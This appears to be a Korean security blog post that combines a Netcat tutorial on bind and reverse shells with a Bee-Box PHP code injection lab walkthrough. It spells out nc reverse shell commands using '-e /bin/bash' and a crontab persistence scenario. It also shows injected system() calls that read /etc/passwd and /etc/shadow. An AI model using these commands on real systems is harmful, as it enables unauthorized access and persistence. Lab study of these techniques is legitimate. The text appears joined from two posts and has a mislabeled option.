1. Netcat (nc)

- TCP 또는 UDP를 사용하여 네트워크 연결을 읽거나 기록하는 컴퓨터 네트워킹 유틸리티

- UNIX의 cat과 유사하며, cat 명령으로 파일을 읽거나 쓰듯이 NC는 Network Connection에 읽거나 씀

- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에서도 자주 사용

 

1.1 주요 옵션

옵션 설명
-l listen 모드로 port 오픈
-L 영구 리스너 생성 (Windows만 작동)
-u Netcat UDP 모드로 전환 (기본값 TCP)
-p local port 지정
-e 연결 후 수행 할 작업
※ 서버에서 -e 옵션 지정 시 서버에서 해당 작업이 수행
 클라이언트에서 -e 옵션 지정 시 클라이언트에서 해당 작업이 수행
-s addr local ip address 지정
-n 호스트 네임과 포트를 숫자로만 입력
-z local ip address 지정
-v verbosity를 증가시키며, 더 많은 정보를 얻을 수 있음
-w secs 시간 종료 값을 정의

 

1.2 바인드쉘

- 일반적인 연결 상태로, 클라이언트가 서버에 접속

- 서버: nc -lnvp 1234 -e /bin/bash
- 클라이언트: nc <서버 IP> 1234

 

[사진 1] 바인드쉘 예시

 

1.3 리버스쉘

- 바인드쉘과 반대로 서버가 클라이언트에 접속, -e 옵션에 의해 클라이언트에서 작업이 수행됨

> 예시의 경우 클라이언트의 /bin/bash가 실행

> 공격자의 PC가 서버가되고, 피해자의 PC가 클라이언트가 되어 명령을 실행

- 서버: nc -lnvp 1234
- 클라이언트: nc <서버 IP> 1234 -e /bin/bash

 

- 일반적으로 방화벽은 네트워크 최상단에 설치되어 외부에서 내부로 들어오는 연결차단

> 반대로 내부에서 외부로 나가는 연결에 대해서는 상대적으로 허용하는 경우가 많음

> 이를 이용해 공격자는 공격 PC를 서버로 동작시킨 뒤, 피해 PC에서 명령 실행 및 공격 PC로 접근해 쉘을 획득

 

- 일반적인 리버스쉘 시나리오는 다음과 같음

① 공격자는 내부 네트워크에 침입한 후 무차별대입공격으로 root 계정 탈취

② 반복적인 침입을 위해 root 계정을 이용해 root 권한을 가지는 일반 사용자 계정 생성

③ netcat 프로그램을 이용한 리버스쉘 연결 작업을 cron table에 등록(/etc/crontab)

④ 공격자는 주기적으로 shell을 획득해 추가 명령 수행

 

[사진 2] 리버스쉘 예시

 

2. -e 옵션

- 앞서 살펴보았듯이 -e 옵션은 연결을 생성한 후 실행할 명령 등의 작업을 지정함

- 침해 상황을 가정해 nc를 통해 리버스쉘 연결을 시도한 결과 -e 옵션이 유효하지 않다고 확인

[사진 3] 유효하지 않은 -e 옵션

 

- 구글링을 해보니 비활성화된 (또는 지원하지 않는) 버전의 nc를 사용한 결과라고 함

> 따라서, -e 옵션을 지원하는 nc 버전 (netcat-traditional)을 설치하고, 해당 버전으로 설정해야 함

# sudo apt-get install -y netcat-traditional
# sudo update-alternatives --config nc

 

- 두 번째 명령 실행 결과를 확인해보면 현재 /bin/nc.openbsd 버전을 사용하고 있는 것으로 확인 됨

> 설치한 netcat-traditional (nc.traditional)으로 변경

[사진 4] sudo update-alternatives --config nc 결과 비교

 

- 변경 후 -e 옵션을 실행하면 정상적으로 리버스쉘이 생성됨

[사진 5] 리버스쉘 생성

- 해당 페이지는 message를 클릭하면 test가 출력된다.

[캡쳐 1] test

- URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다.

[캡쳐 2] GET 방식 데이터 전송

- message 파라미터의 값을 다른 값으로 변경하여 실행할 경우, 변경된 값이 출력되는 것을 확인할 수 있다.

[캡쳐 3] ggonmer

- PHP에는 eval()이나 exec() 함수를 사용한 경우 세미콜론(;)을 사용해 다른 함수를 실행할 수 있는 취약점이 있다.

exec() 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.
eval() 문자열을 PHP 코드로 실행해 준다.
system() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.
shell_exec() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.

- 해당 페이지에 php 취약점이 존재하는지 유무를 판별하기 위해 세미콜론(;)을 사용해 system()함수를 실행시켜 본다.

[캡쳐 4] system('ls -al')

- 실행 결과 ls -al 명령어의 결과로 파일 목록과 내용을 확인할 수 있다.

[캡쳐 5] cat /etc/passwd

- 사용자 계정 정보를 담고있는 파일인 /etc/passwd의 내용 역시 볼 수 있다.

[캡쳐 6] cat /etc/shadow

- /etc/shadow 파일의 내용은 출력되지 않는 것으로 보아 현재 웹 권한만 가지고 있고, 상위 권한의 사용자만 접근 가능한 파일의 경우 출력되지 않는 것을 알 수 있다. 

- nc 명령을 이용해 공격자의 PC로 연결도 가능하다..

-n 옵션 호스트 네임과 포트를 숫자로 출력
-l 옵션 Listen 모드로 Port 오픈
-v 옵션 더 많은 정보를 볼 수 있음
-p 옵션 포트를 지정

① 먼저 공격자가 NC 명령을 이용해 리스닝 포트를 오픈 후 대기한다.

-e 옵션 연결 생성 뒤 실행 프로그램 지정

② Bee-Box에서 해당 명령을 실행한다.

③ Bee-Box에서 Kali로 연결이 생성 및 공격자의 shell을 획득.

+ Recent posts